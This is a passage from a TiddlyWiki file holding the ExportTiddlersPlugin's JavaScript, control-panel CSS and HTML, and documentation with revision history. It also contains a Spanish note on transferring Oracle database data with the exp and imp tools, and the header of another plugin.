if (!selectedIndex) selectedIndex=0;
if (selectedIndex==0) sort='modified';
if (selectedIndex==1) sort='title';
if (selectedIndex==2) sort='modified';
if (selectedIndex==3) sort='modifier';
if (selectedIndex==4) sort='tags';
// unselect headings and count number of tiddlers actually selected
var count=0;
for (var t=5; t < theList.options.length; t++) {
if (!theList.options[t].selected) continue;
if (theList.options[t].value!='')
count++;
else { // if heading is selected, deselect it, and then select and count all in section
theList.options[t].selected=false;
for ( t++; t<theList.options.length && theList.options[t].value!=''; t++) {
theList.options[t].selected=true;
count++;
}
}
}
// disable 'export' and 'delete' buttons if no tiddlers selected
this.$('exportStart').disabled=(count==0);
this.$('exportDelete').disabled=(count==0);
// show selection count
var tiddlers = store.getTiddlers('title');
if (theList.options.length) this.displayStatus(count,tiddlers.length);
// if a [command] item, reload list... otherwise, no further refresh needed
if (selectedIndex>4) return;
// clear current list contents
while (theList.length > 0) { theList.options[0] = null; }
// add heading and control items to list
var i=0;
var indent=String.fromCharCode(160)+String.fromCharCode(160);
theList.options[i++]=
new Option(tiddlers.length+' tiddlers in document', '',false,false);
theList.options[i++]=
new Option(((sort=='title' )?'>':indent)+' [by title]', '',false,false);
theList.options[i++]=
new Option(((sort=='modified')?'>':indent)+' [by date]', '',false,false);
theList.options[i++]=
new Option(((sort=='modifier')?'>':indent)+' [by author]', '',false,false);
theList.options[i++]=
new Option(((sort=='tags' )?'>':indent)+' [by tags]', '',false,false);
// output the tiddler list
switch(sort) {
case 'title':
for(var t = 0; t < tiddlers.length; t++)
theList.options[i++] = new Option(tiddlers[t].title,tiddlers[t].title,false,false);
break;
case 'modifier':
case 'modified':
var tiddlers = store.getTiddlers(sort);
// sort descending for newest date first
tiddlers.sort(function (a,b) {if(a[sort] == b[sort]) return(0); else return (a[sort] > b[sort]) ? -1 : +1; });
var lastSection = '';
for(var t = 0; t < tiddlers.length; t++) {
var tiddler = tiddlers[t];
var theSection = '';
if (sort=='modified') theSection=tiddler.modified.toLocaleDateString();
if (sort=='modifier') theSection=tiddler.modifier;
if (theSection != lastSection) {
theList.options[i++] = new Option(theSection,'',false,false);
lastSection = theSection;
}
theList.options[i++] = new Option(indent+indent+tiddler.title,tiddler.title,false,false);
}
break;
case 'tags':
var theTitles = {}; // all tiddler titles, hash indexed by tag value
var theTags = new Array();
for(var t=0; t<tiddlers.length; t++) {
var title=tiddlers[t].title;
var tags=tiddlers[t].tags;
if (!tags || !tags.length) {
if (theTitles['untagged']==undefined) { theTags.push('untagged'); theTitles['untagged']=new Array(); }
theTitles['untagged'].push(title);
}
else for(var s=0; s<tags.length; s++) {
if (theTitles[tags[s]]==undefined) { theTags.push(tags[s]); theTitles[tags[s]]=new Array(); }
theTitles[tags[s]].push(title);
}
}
theTags.sort();
for(var tagindex=0; tagindex<theTags.length; tagindex++) {
var theTag=theTags[tagindex];
theList.options[i++]=new Option(theTag,'',false,false);
for(var t=0; t<theTitles[theTag].length; t++)
theList.options[i++]=new Option(indent+indent+theTitles[theTag][t],theTitles[theTag][t],false,false);
}
break;
}
theList.selectedIndex=selectedIndex; // select current control item
this.$('exportStart').disabled=true;
this.$('exportDelete').disabled=true;
this.displayStatus(0,tiddlers.length);
},
askForFilename: function(here) {
var msg=here.title; // use tooltip as dialog box message
var path=getLocalPath(document.location.href);
var slashpos=path.lastIndexOf('/'); if (slashpos==-1) slashpos=path.lastIndexOf('\\');
if (slashpos!=-1) path = path.substr(0,slashpos+1); // remove filename from path, leave the trailing slash
var filetype=this.$('exportFormat').value.toLowerCase();
var defext='html';
if (filetype==this.type_TX) defext='txt';
if (filetype==this.type_CS) defext='csv';
if (filetype==this.type_NF) defext='xml';
var file=this.newdefault.replace(/html$/,defext);
var result='';
if(window.Components) { // moz
try {
netscape.security.PrivilegeManager.enablePrivilege('UniversalXPConnect');
var nsIFilePicker = window.Components.interfaces.nsIFilePicker;
var picker = Components.classes['@mozilla.org/filepicker;1'].createInstance(nsIFilePicker);
picker.init(window, msg, nsIFilePicker.modeSave);
var thispath = Components.classes['@mozilla.org/file/local;1'].createInstance(Components.interfaces.nsILocalFile);
thispath.initWithPath(path);
picker.displayDirectory=thispath;
picker.defaultExtension=defext;
picker.defaultString=file;
picker.appendFilters(nsIFilePicker.filterAll|nsIFilePicker.filterText|nsIFilePicker.filterHTML);
if (picker.show()!=nsIFilePicker.returnCancel) var result=picker.file.persistentDescriptor;
}
catch(e) { alert('error during local file access: '+e.toString()) }
}
else { // IE
try { // XPSP2 IE only
var s = new ActiveXObject('UserAccounts.CommonDialog');
s.Filter='All files|*.*|Text files|*.txt|HTML files|*.htm;*.html|XML files|*.xml|';
s.FilterIndex=defext=='txt'?2:'html'?3:'xml'?4:1;
s.InitialDir=path;
s.FileName=file;
if (s.showOpen()) var result=s.FileName;
}
catch(e) { // fallback
var result=prompt(msg,path+file);
}
}
return result;
},
initFilter: function() {
this.$('exportFilterStart').checked=false; this.$('exportStartDate').value='';
this.$('exportFilterEnd').checked=false; this.$('exportEndDate').value='';
this.$('exportFilterTags').checked=false; this.$('exportTags').value='';
this.$('exportFilterText').checked=false; this.$('exportText').value='';
this.showFilterFields();
},
showFilterFields: function(which) {
var show=this.$('exportFilterStart').checked;
this.$('exportFilterStartBy').style.display=show?'block':'none';
this.$('exportStartDate').style.display=show?'block':'none';
var val=this.$('exportFilterStartBy').value;
this.$('exportStartDate').value
=this.getFilterDate(val,'exportStartDate').formatString(this.datetimefmt);
if (which && (which.id=='exportFilterStartBy') && (val=='other'))
this.$('exportStartDate').focus();
var show=this.$('exportFilterEnd').checked;
this.$('exportFilterEndBy').style.display=show?'block':'none';
this.$('exportEndDate').style.display=show?'block':'none';
var val=this.$('exportFilterEndBy').value;
this.$('exportEndDate').value
=this.getFilterDate(val,'exportEndDate').formatString(this.datetimefmt);
if (which && (which.id=='exportFilterEndBy') && (val=='other'))
this.$('exportEndDate').focus();
var show=this.$('exportFilterTags').checked;
this.$('exportTags').style.display=show?'block':'none';
var show=this.$('exportFilterText').checked;
this.$('exportText').style.display=show?'block':'none';
},
getFilterDate: function(val,id) {
var result=0;
switch (val) {
case 'file':
result=new Date(document.lastModified);
break;
case 'other':
result=new Date(this.$(id).value);
break;
default: // today=0, yesterday=1, one week=7, two weeks=14, a month=31
var now=new Date(); var tz=now.getTimezoneOffset()*60000; now-=tz;
var oneday=86400000;
if (id=='exportStartDate')
result=new Date((Math.floor(now/oneday)-val)*oneday+tz);
else
result=new Date((Math.floor(now/oneday)-val+1)*oneday+tz-1);
break;
}
return result;
},
filterExportList: function() {
var theList = this.$('exportList'); if (!theList) return -1;
var filterStart=this.$('exportFilterStart').checked;
var val=this.$('exportFilterStartBy').value;
var startDate=config.macros.exportTiddlers.getFilterDate(val,'exportStartDate');
var filterEnd=this.$('exportFilterEnd').checked;
var val=this.$('exportFilterEndBy').value;
var endDate=config.macros.exportTiddlers.getFilterDate(val,'exportEndDate');
var filterTags=this.$('exportFilterTags').checked;
var tags=this.$('exportTags').value;
var filterText=this.$('exportFilterText').checked;
var text=this.$('exportText').value;
if (!(filterStart||filterEnd||filterTags||filterText)) {
alert('Please set the selection filter');
this.$('exportFilterPanel').style.display='block';
return -1;
}
if (filterStart&&filterEnd&&(startDate>endDate)) {
var msg='starting date/time:\n'
msg+=startDate.toLocaleString()+'\n';
msg+='is later than ending date/time:\n'
msg+=endDate.toLocaleString()
alert(msg);
return -1;
}
// if filter by tags, get list of matching tiddlers
// use getMatchingTiddlers() (if MatchTagsPlugin is installed) for full boolean expressions
// otherwise use getTaggedTiddlers() for simple tag matching
if (filterTags) {
var fn=store.getMatchingTiddlers||store.getTaggedTiddlers;
var t=fn.apply(store,[tags]);
var tagged=[];
for (var i=0; i<t.length; i++) tagged.push(t[i].title);
}
// scan list and select tiddlers that match all applicable criteria
var total=0;
var count=0;
for (var i=0; i<theList.options.length; i++) {
// get item, skip non-tiddler list items (section headings)
var opt=theList.options[i]; if (opt.value=='') continue;
// get tiddler, skip missing tiddlers (this should NOT happen)
var tiddler=store.getTiddler(opt.value); if (!tiddler) continue;
var sel=true;
if ( (filterStart && tiddler.modified<startDate)
|| (filterEnd && tiddler.modified>endDate)
|| (filterTags && !tagged.contains(tiddler.title))
|| (filterText && (tiddler.text.indexOf(text)==-1) && (tiddler.title.indexOf(text)==-1)))
sel=false;
opt.selected=sel;
count+=sel?1:0;
total++;
}
return count;
},
deleteTiddlers: function() {
var list=this.$('exportList'); if (!list) return;
var tids=[];
for (i=0;i<list.length;i++)
if (list.options[i].selected && list.options[i].value.length)
tids.push(list.options[i].value);
if (!confirm('Are you sure you want to delete these tiddlers:\n\n'+tids.join(', '))) return;
store.suspendNotifications();
for (t=0;t<tids.length;t++) {
var tid=store.getTiddler(tids[t]); if (!tid) continue;
var msg="'"+tid.title+"' is tagged with 'systemConfig'.\n\n";
msg+='Removing this tiddler may cause unexpected results. Are you sure?'
if (tid.tags.contains('systemConfig') && !confirm(msg)) continue;
store.removeTiddler(tid.title);
story.closeTiddler(tid.title);
}
store.resumeNotifications();
alert(tids.length+' tiddlers deleted');
this.refreshList(0); // reload listbox
store.notifyAll(); // update page display
},
go: function() {
if (window.location.protocol!='file:') // make sure we are local
{ displayMessage(config.messages.notFileUrlError); return; }
// get selected tidders, target filename, target type, and notes
var list=this.$('exportList'); if (!list) return;
var tids=[]; for (var i=0; i<list.options.length; i++) {
var opt=list.options[i]; if (!opt.selected||!opt.value.length) continue;
var tid=store.getTiddler(opt.value); if (!tid) continue;
tids.push(tid);
}
if (!tids.length) return; // no tiddlers selected
var target=this.$('exportFilename').value.trim();
if (!target.length) {
displayMessage('A local target path/filename is required',target);
return;
}
var filetype=this.$('exportFormat').value.toLowerCase();
var notes=this.$('exportNotes').value.replace(/\n/g,'<br>');
var total={val:0};
var out=this.assembleFile(target,filetype,tids,notes,total);
var link='file:///'+target.replace(/\\/g,'/');
var samefile=link==decodeURIComponent(window.location.href);
var p=getLocalPath(document.location.href);
if (samefile) {
if (config.options.chkSaveBackups) { var t=loadOriginal(p);if(t)saveBackup(p,t); }
if (config.options.chkGenerateAnRssFeed && saveRss instanceof Function) saveRss(p);
}
var ok=saveFile(target,out);
displayMessage((ok?this.okmsg:this.failmsg).format([total.val,target]),link);
},
plainTextHeader:
'Source:\n\t%0\n'
+'Title:\n\t%1\n'
+'Subtitle:\n\t%2\n'
+'Created:\n\t%3 by %4\n'
+'Application:\n\tTiddlyWiki %5 / %6 %7\n\n',
plainTextTiddler:
'- - - - - - - - - - - - - - -\n'
+'| title: %0\n'
+'| created: %1\n'
+'| modified: %2\n'
+'| edited by: %3\n'
+'| tags: %4\n'
+'- - - - - - - - - - - - - - -\n'
+'%5\n',
plainTextFooter:
'',
newsFeedHeader:
'<'+'?xml version="1.0"?'+'>\n'
+'<rss version="2.0">\n'
+'<channel>\n'
+'<title>%1</title>\n'
+'<link>%0</link>\n'
+'<description>%2</description>\n'
+'<language>en-us</language>\n'
+'<copyright>Copyright '+(new Date().getFullYear())+' %4</copyright>\n'
+'<pubDate>%3</pubDate>\n'
+'<lastBuildDate>%3</lastBuildDate>\n'
+'<docs>http://blogs.law.harvard.edu/tech/rss</docs>\n'
+'<generator>TiddlyWiki %5 / %6 %7</generator>\n',
newsFeedTiddler:
'\n%0\n',
newsFeedFooter:
'</channel></rss>',
pureStoreHeader:
'<html><body>'
+'<style type="text/css">'
+' #storeArea {display:block;margin:1em;}'
+' #storeArea div {padding:0.5em;margin:1em;border:2px solid black;height:10em;overflow:auto;}'
+' #pureStoreHeading {width:100%;text-align:left;background-color:#eeeeee;padding:1em;}'
+'</style>'
+'<div id="pureStoreHeading">'
+' TiddlyWiki "PureStore" export file<br>'
+' Source'+': <b>%0</b><br>'
+' Title: <b>%1</b><br>'
+' Subtitle: <b>%2</b><br>'
+' Created: <b>%3</b> by <b>%4</b><br>'
+' TiddlyWiki %5 / %6 %7<br>'
+' Notes:<hr><pre>%8</pre>'
+'</div>'
+'<div id="storeArea">',
pureStoreTiddler:
'%0\n%1',
pureStoreFooter:
'</div><!--POST-BODY-START-->\n<!--POST-BODY-END--></body></html>',
assembleFile: function(target,filetype,tids,notes,total) {
var revised='';
var now = new Date().toLocaleString();
var src=convertUnicodeToUTF8(document.location.href);
var title = convertUnicodeToUTF8(wikifyPlain('SiteTitle').htmlEncode());
var subtitle = convertUnicodeToUTF8(wikifyPlain('SiteSubtitle').htmlEncode());
var user = convertUnicodeToUTF8(config.options.txtUserName.htmlEncode());
var twver = version.major+'.'+version.minor+'.'+version.revision;
var v=version.extensions.ExportTiddlersPlugin; var pver = v.major+'.'+v.minor+'.'+v.revision;
var headerargs=[src,title,subtitle,now,user,twver,'ExportTiddlersPlugin',pver,notes];
switch (filetype) {
case this.type_TX: // plain text
var header=this.plainTextHeader.format(headerargs);
var footer=this.plainTextFooter;
break;
case this.type_CS: // comma-separated
var fields={};
for (var i=0; i<tids.length; i++) for (var f in tids[i].fields) fields[f]=f;
var names=['title','created','modified','modifier','tags','text'];
for (var f in fields) names.push(f);
var header=names.join(',')+'\n';
var footer='';
break;
case this.type_NF: // news feed (XML)
headerargs[0]=store.getTiddlerText('SiteUrl','');
var header=this.newsFeedHeader.format(headerargs);
var footer=this.newsFeedFooter;
break;
case this.type_PS: // PureStore (no code)
var header=this.pureStoreHeader.format(headerargs);
var footer=this.pureStoreFooter;
break;
case this.type_TW: // full TiddlyWiki
default:
var currPath=getLocalPath(window.location.href);
var original=loadFile(currPath);
if (!original) { displayMessage(config.messages.cantSaveError); return; }
var posDiv = locateStoreArea(original);
if (!posDiv) { displayMessage(config.messages.invalidFileError.format([currPath])); return; }
var header = original.substr(0,posDiv[0]+startSaveArea.length)+'\n';
var footer = '\n'+original.substr(posDiv[1]);
break;
}
var out=this.getData(target,filetype,tids,fields);
var revised = header+convertUnicodeToUTF8(out.join('\n'))+footer;
// if full TW, insert page title and language attr, and reset all MARKUP blocks...
if (filetype==this.type_TW) {
var newSiteTitle=convertUnicodeToUTF8(getPageTitle()).htmlEncode();
revised=revised.replaceChunk('<title'+'>','</title'+'>',' ' + newSiteTitle + ' ');
revised=updateLanguageAttribute(revised);
var titles=[]; for (var i=0; i<tids.length; i++) titles.push(tids[i].title);
revised=updateMarkupBlock(revised,'PRE-HEAD',
titles.contains('MarkupPreHead')? 'MarkupPreHead' :null);
revised=updateMarkupBlock(revised,'POST-HEAD',
titles.contains('MarkupPostHead')?'MarkupPostHead':null);
revised=updateMarkupBlock(revised,'PRE-BODY',
titles.contains('MarkupPreBody')? 'MarkupPreBody' :null);
revised=updateMarkupBlock(revised,'POST-SCRIPT',
titles.contains('MarkupPostBody')?'MarkupPostBody':null);
}
total.val=out.length;
return revised;
},
getData: function(target,filetype,tids,fields) {
// output selected tiddlers and gather list of titles (for use with merge)
var out=[]; var titles=[];
var url=store.getTiddlerText('SiteUrl','');
for (var i=0; i<tids.length; i++) {
out.push(this.formatItem(store,filetype,tids[i],url,fields));
titles.push(tids[i].title);
}
// if TW or PureStore format, ask to merge with existing tiddlers (if any)
if (filetype==this.type_TW || filetype==this.type_PS) {
var txt=loadFile(target);
if (txt && txt.length) {
var remoteStore=new TiddlyWiki();
if (version.major+version.minor*.1+version.revision*.01<2.52) txt=convertUTF8ToUnicode(txt);
if (remoteStore.importTiddlyWiki(txt) && confirm(this.mergeprompt.format([target]))) {
var existing=remoteStore.getTiddlers('title');
for (var i=0; i<existing.length; i++)
if (!titles.contains(existing[i].title))
out.push(this.formatItem(remoteStore,filetype,existing[i],url));
displayMessage(this.mergestatus.format([tids.length,out.length-tids.length]));
}
}
}
return out;
},
formatItem: function(s,f,t,u,fields) {
if (f==this.type_TW)
var r=s.getSaver().externalizeTiddler(s,t);
if (f==this.type_PS)
var r=this.pureStoreTiddler.format([t.title,s.getSaver().externalizeTiddler(s,t)]);
if (f==this.type_NF)
var r=this.newsFeedTiddler.format([t.saveToRss(u)]);
if (f==this.type_TX)
var r=this.plainTextTiddler.format([t.title, t.created.toLocaleString(), t.modified.toLocaleString(),
t.modifier, String.encodeTiddlyLinkList(t.tags), t.text]);
if (f==this.type_CS) {
function toCSV(t) { return '"'+t.replace(/"/g,'""')+'"'; } // always encode CSV
var out=[ toCSV(t.title), toCSV(t.created.toLocaleString()), toCSV(t.modified.toLocaleString()),
toCSV(t.modifier), toCSV(String.encodeTiddlyLinkList(t.tags)), toCSV(t.text) ];
for (var f in fields) out.push(toCSV(t.fields[f]||''));
var r=out.join(',');
}
return r||"";
}
}
//}}}
/***
!!!Control panel CSS
//{{{
!css
#exportPanel {
display: none; position:absolute; z-index:12; width:35em; right:105%; top:6em;
background-color: #eee; color:#000; font-size: 8pt; line-height:110%;
border:1px solid black; border-bottom-width: 3px; border-right-width: 3px;
padding: 0.5em; margin:0em; -moz-border-radius:1em;-webkit-border-radius:1em;
}
#exportPanel a, #exportPanel td a { color:#009; display:inline; margin:0px; padding:1px; }
#exportPanel table {
width:100%; border:0px; padding:0px; margin:0px;
font-size:8pt; line-height:110%; background:transparent;
}
#exportPanel tr { border:0px;padding:0px;margin:0px; background:transparent; }
#exportPanel td { color:#000; border:0px;padding:0px;margin:0px; background:transparent; }
#exportPanel select { width:98%;margin:0px;font-size:8pt;line-height:110%;}
#exportPanel input { width:98%;padding:0px;margin:0px;font-size:8pt;line-height:110%; }
#exportPanel textarea { width:98%;padding:0px;margin:0px;overflow:auto;font-size:8pt; }
#exportPanel .box {
border:1px solid black; padding:3px; margin-bottom:5px;
background:#f8f8f8; -moz-border-radius:5px;-webkit-border-radius:5px; }
#exportPanel .topline { border-top:2px solid black; padding-top:3px; margin-bottom:5px; }
#exportPanel .rad { width:auto;border:0 }
#exportPanel .chk { width:auto;border:0 }
#exportPanel .btn { width:auto; }
#exportPanel .btn1 { width:98%; }
#exportPanel .btn2 { width:48%; }
#exportPanel .btn3 { width:32%; }
#exportPanel .btn4 { width:24%; }
#exportPanel .btn5 { width:19%; }
!end
//}}}
!!!Control panel HTML
//{{{
!html
<!-- target path/file -->
<div>
export to path/filename:<br>
<input type="text" id="exportFilename" size=40 style="width:93%"><input
type="button" id="exportBrowse" value="..." title="select or enter a local folder/file..." style="width:5%"
onclick="var fn=config.macros.exportTiddlers.askForFilename(this); if (fn.length) this.previousSibling.value=fn; ">
</div>
<!-- output format -->
<div>
output file format:
<select id="exportFormat" size=1>
<option value="TW">TiddlyWiki HTML document (includes core code)</option>
<option value="PS">TiddlyWiki "PureStore" HTML file (tiddler data only)</option>
<option value="TX">TiddlyWiki plain text TXT file (tiddler source listing)</option>
<option value="CS">Comma-Separated Value (CSV) data file</option>
<option value="NF">RSS NewsFeed XML file</option>
</select>
</div>
<!-- notes -->
<div>
notes:<br>
<textarea id="exportNotes" rows=3 cols=40 style="height:4em;margin-bottom:5px;" onfocus="this.select()"></textarea>
</div>
<!-- list of tiddlers -->
<table><tr align="left"><td>
select:
<a href="JavaScript:;" id="exportSelectAll"
onclick="return config.macros.exportTiddlers.process(this)" title="select all tiddlers">
all </a>
<a href="JavaScript:;" id="exportSelectChanges"
onclick="return config.macros.exportTiddlers.process(this)" title="select tiddlers changed since last save">
changes </a>
<a href="JavaScript:;" id="exportSelectOpened"
onclick="return config.macros.exportTiddlers.process(this)" title="select tiddlers currently being displayed">
opened </a>
<a href="JavaScript:;" id="exportSelectRelated"
onclick="return config.macros.exportTiddlers.process(this)" title="select tiddlers related to the currently selected tiddlers">
related </a>
<a href="JavaScript:;" id="exportToggleFilter"
onclick="return config.macros.exportTiddlers.process(this)" title="show/hide selection filter">
filter </a>
</td><td align="right">
<a href="JavaScript:;" id="exportListSmaller"
onclick="return config.macros.exportTiddlers.process(this)" title="reduce list size">
– </a>
<a href="JavaScript:;" id="exportListLarger"
onclick="return config.macros.exportTiddlers.process(this)" title="increase list size">
+ </a>
</td></tr></table>
<select id="exportList" multiple size="10" style="margin-bottom:5px;"
onchange="config.macros.exportTiddlers.refreshList(this.selectedIndex)">
</select><br>
<!-- selection filter -->
<div id="exportFilterPanel" style="display:none">
<table><tr align="left"><td>
selection filter
</td><td align="right">
<a href="JavaScript:;" id="exportHideFilter"
onclick="return config.macros.exportTiddlers.process(this)" title="hide selection filter">hide</a>
</td></tr></table>
<div class="box">
<input type="checkbox" class="chk" id="exportFilterStart" value="1"
onclick="config.macros.exportTiddlers.showFilterFields(this)"> starting date/time<br>
<table cellpadding="0" cellspacing="0"><tr valign="center"><td width="50%">
<select size=1 id="exportFilterStartBy"
onchange="config.macros.exportTiddlers.showFilterFields(this);">
<option value="0">today</option>
<option value="1">yesterday</option>
<option value="7">a week ago</option>
<option value="30">a month ago</option>
<option value="file">file date</option>
<option value="other">other (mm/dd/yyyy hh:mm)</option>
</select>
</td><td width="50%">
<input type="text" id="exportStartDate" onfocus="this.select()"
onchange="config.macros.exportTiddlers.$('exportFilterStartBy').value='other';">
</td></tr></table>
<input type="checkbox" class="chk" id="exportFilterEnd" value="1"
onclick="config.macros.exportTiddlers.showFilterFields(this)"> ending date/time<br>
<table cellpadding="0" cellspacing="0"><tr valign="center"><td width="50%">
<select size=1 id="exportFilterEndBy"
onchange="config.macros.exportTiddlers.showFilterFields(this);">
<option value="0">today</option>
<option value="1">yesterday</option>
<option value="7">a week ago</option>
<option value="30">a month ago</option>
<option value="file">file date</option>
<option value="other">other (mm/dd/yyyy hh:mm)</option>
</select>
</td><td width="50%">
<input type="text" id="exportEndDate" onfocus="this.select()"
onchange="config.macros.exportTiddlers.$('exportFilterEndBy').value='other';">
</td></tr></table>
<input type="checkbox" class="chk" id=exportFilterTags value="1"
onclick="config.macros.exportTiddlers.showFilterFields(this)"> match tags<br>
<input type="text" id="exportTags" onfocus="this.select()">
<input type="checkbox" class="chk" id=exportFilterText value="1"
onclick="config.macros.exportTiddlers.showFilterFields(this)"> match titles/tiddler text<br>
<input type="text" id="exportText" onfocus="this.select()">
</div> <!--box-->
</div> <!--panel-->
<!-- action buttons -->
<div style="text-align:center">
<input type=button class="btn4" onclick="config.macros.exportTiddlers.process(this)"
id="exportFilter" value="apply filter">
<input type=button class="btn4" onclick="config.macros.exportTiddlers.process(this)"
id="exportStart" value="export tiddlers">
<input type=button class="btn4" onclick="config.macros.exportTiddlers.process(this)"
id="exportDelete" value="delete tiddlers">
<input type=button class="btn4" onclick="config.macros.exportTiddlers.process(this)"
id="exportClose" value="close">
</div><!--center-->
!end
//}}}
***/
/***
|Name|ExportTiddlersPluginInfo|
|Source|http://www.TiddlyTools.com/#ExportTiddlersPlugin|
|Documentation|http://www.TiddlyTools.com/#ExportTiddlersPluginInfo|
|Version|2.9.3|
|Author|Eric Shulman|
|License|http://www.TiddlyTools.com/#LegalStatements|
|~CoreVersion|2.1|
|Type|documentation|
|Description|Documentation for ExportTiddlersPlugin|
interactively select and extract tiddlers from your ~TiddlyWiki document, and write them into another file, using one of several different file formats:
* ~TiddlyWiki - a complete, stand-alone, standard TiddlyWiki HTML document
* ~PureStore - a small HTML archive file containing tiddler data only (no core code)
* ~PlainText - a simple TXT text file with tiddler source listings
* Comma - a "Comma Separated Value" data/spreadsheet file
* ~NewsFeed - an XML-format file that can be published for RSS syndication.
!!!!!Usage
<<<
{{{
<<exportTiddlers>> (sidebar menu item)
<<exportTiddlers inline>> (embedded control panel)
}}}
Inline control panel (live):
<<exportTiddlers inline>>
Optional "special tiddlers" used by this plugin:
* SiteUrl<br>URL for official server-published version of document being viewed (used in XML export). Default: //none//
<<<
!!!!!Revisions
<<<
2009.07.06 2.9.3 moved HTML to section for size reduction
2009.07.03 2.9.2 TW252 fixup: don't call convertUTF8ToUnicode() for local loadFile() I/O
2009.04.30 2.9.1 custom fields in CSV output
2009.04.19 2.9.0 added CSV format
2009.02.26 2.8.5 use macro-specific definition of $() function abbreviation (avoids conflict with JQuery)
2008.09.29 2.8.4 in getData(), convert existing TW file from UTF8 to Unicode before merging to correct handling of international characters and symbols.
2008.09.26 2.8.3 in go(), if rewriting *current* file and chkSaveBackups and/or chkGenerateAnRssFeed is enabled, then write a backup file or RSS feed, respectively.
2008.09.24 2.8.2 in assembleFile(), make sure that markup block is updated if corresponding Markup* tiddler is exported.
2008.09.19 2.8.1 in formatItem(), removed unnecessary convertUnicodeToUTF8() (was causing double-conversion!)
2008.09.11 2.8.0 extensive code cleanup: moved all global functions inside macro object. Re-wrote file generator and I/O to support TiddlyWiki, PlainText, PureStore, and NewsFeed file formats. Replaced inline 'match tags' code with use of getMatchingTiddlers() from [[MatchTagsPlugin]] (if installed), with fallback to core getTaggedTiddlers() otherwise.
2008.05.27 2.7.0 added ability to 'merge' with existing export file. Also, revised 'matchTags' functionality to be more robust and more efficient
2008.05.12 2.6.1 automatically add 'export' task to backstage (moved from BackstageTweaks)
2008.03.10 2.6.0 added "delete tiddlers" button
2007.12.04 *.*.* update for TW2.3.0: replaced deprecated core functions, regexps, and macros
2007.11.10 2.5.1 removed debugging alert messages from promptForExportFilename()
2007.10.31 2.5.0 code reduction: removed incomplete/unused interface and supporting functions for exporting directly to http, https or ftp servers. Plugin now supports exporting to local file only. Also, updated TW document output to generate TW2.2 compatible file format.
2007.10.30 2.4.2 added automatic shadow tiddler definition for [[ExportTiddlers]]
2007.07.16 2.4.1 in exportTWHeader(), reset HTML source 'markup' so installed markup is NOT copied to new file.
2007.06.30 2.4.0 added "select related tiddlers" feature. Recursively scans the tiddler links[] info to find all tiddlers referenced by any of the currently selected tiddler, and then selects them all (including the original tiddlers).
2007.04.19 2.3.0 in exportData(), pass SiteURL value as param to saveToRss(). Fixes 'undefined' appearing in tiddler link in XML output. Also, in refreshExportList(), added 'sort by tags'. Also, added 'group select'... selecting a heading (date,author,tag) auto-selects all tiddlers in that group.
2007.03.02 2.2.6 in onClickExportButton(), when selecting open tiddlers for TW2.2, look for "storyDisplay" with fallback to "tiddlerDisplay" for TW2.1 or earlier
2007.03.01 2.2.5 removed hijack of store.saveChanges()
2006.11.08 2.2.4 added promptForExportFilename() and replaced type="file" control with edit field + browse button ("...").
2006.10.12 2.2.3 in exportDIVFooter(), write POST-BODY-START/END markers for compatibility with TW2.1 core file format.
2006.05.11 2.2.2 in createExportPanel, removed call to addNotification() to reduce unneeded feedback messages and increase overall document performance.
2006.05.02 2.2.1 Use displayMessage() to show number of selected tiddlers instead of updating listbox 'header' item after each selection. Prevents awkward 'scroll-to-top' behavior that made multi-select via ctrl-click nearly impossible.
2006.04.29 2.2.0 New features: free-form "Notes" text inserted in the header of PureStore files.
2006.03.29 2.1.3 added calls to convertUnicodeToUTF8() for generated output, so it better handles international characters.
2006.02.12 2.1.2 more FF1501 bug fixes.
2006.02.04 2.1.1 added var to unintended globals to avoids FireFox1501 crash bug
2006.02.02 2.1.0 Added support for output of complete TiddlyWiki documents
2006.01.21 2.0.1 Defer initial panel creation and only register a notification function when panel first is created
in saveChanges 'hijack', create panel as needed. Note: if window.event is not available to identify the click location, the export panel is positioned relative to the 'tiddlerDisplay' element of the TW document.
2005.12.27 2.0.0 Update for TW2.0.
2005.12.24 0.9.5 Minor adjustments to CSS to force correct link colors regardless of TW stylesheet selection
2005.12.16 0.9.4 Dynamically create/remove exportPanel so only one instance exists at a time
2005.11.15 0.9.2 added non-Ajax post to bypass cross-domain security restrictions.
2005.11.08 0.9.1 moved HTML, CSS and control initialization into exportInit() function and call from macro handler instead of at load time.
2005.10.28 0.9.0 added 'select opened tiddlers' feature. Based on a suggestion by Geoff Slocock
2005.10.24 0.8.3 Corrected hijack of 'save changes' when using http:
2005.10.18 0.8.2 added AJAX functions
2005.10.18 0.8.1 Corrected timezone handling and error checking/reporting when filtering tiddlers. More style tweaks, minor text changes and some assorted layout cleanup.
2005.10.17 0.8.0 First pre-release.
2005.10.16 0.7.0 filter by tags
2005.10.15 0.6.0 filter by title/text
2005.10.14 0.5.0 export to local file (DIV or XML)
2005.10.14 0.4.0 filter by start/end date
2005.10.13 0.3.0 panel interaction
2005.10.11 0.2.0 panel layout
2005.10.10 0.1.0 code framework
2005.10.09 0.0.0 development started
<<<
!Introducción
La mejor manera de transferir los datos de una base de datos a otra es exportar los datos de la base de datos original e importarlos en la base de de destino, usando las herramientas {{{exp}}} e {{{imp}}} respectivamente, ambas proporcionadas por [[Oracle]].
!Exportación
La exportación se realiza con la herramienta {{{exp}}}. Necesita como parámetros la conexión a la base de datos (como cadena "easy connect" o un nombre TNS), el nombre del fichero en el que se volcarán los datos y el esquema (usuario) al que pertenecen las tablas.
Ejemplos usando easy connect en el primero y TNS en el segundo:
{{{
C:\>exp userid=ESQUEMA/PASSWORD@host_origen:1521/BBDD_ORIGEN file=c:\temp\data.dmp where owner=ESQUEMA
C:\>exp userid=ESQUEMA/PASSWORD@TNS_NAME file=c:\temp\data.dmp where owner=ESQUEMA
}}}
!Importar los datos
Una vez volcados los datos a un archivo de texto en local, se puede introducir en una base de datos mediante la herramienta {{{imp}}}. Es recomendable borrar primero todas las tablas, procedimientos, triggers y secuencias, ya que serán sobreescritos y puede dar problemas. La sintaxis es similar a la de {{{exp}}}, pero en vez del propietario de las tablas se indica a quien pertenecían en la base de datos original y a quien van a pertenecer en la nueva base de datos. También se pueden usar los dos tipos de conexión soportados por [[Oracle]]:
{{{
C:\>imp userid=ESQUEMA/PASSWORD@host_destino:1521/BBD_DESTINO file=c:\temp\data.dmp fromuser=ESQUEMA touser=ESQUEMA
C:\>imp userid=ESQUEMA/PASSWORD@TNS_NAME file=c:\temp\data.dmp fromuser=ESQUEMA touser=ESQUEMA
}}}
<<tiddler [[GeneradorExpImp]]>>
/***
|Name:|ExtentTagButtonPlugin|
|Description:|Adds a New tiddler button in the tag drop down|
|Version:|3.2 ($Rev: 3861 $)|
|Date:|$Date: 2008-03-08 10:53:09 +1000 (Sat, 08 Mar 2008) $|
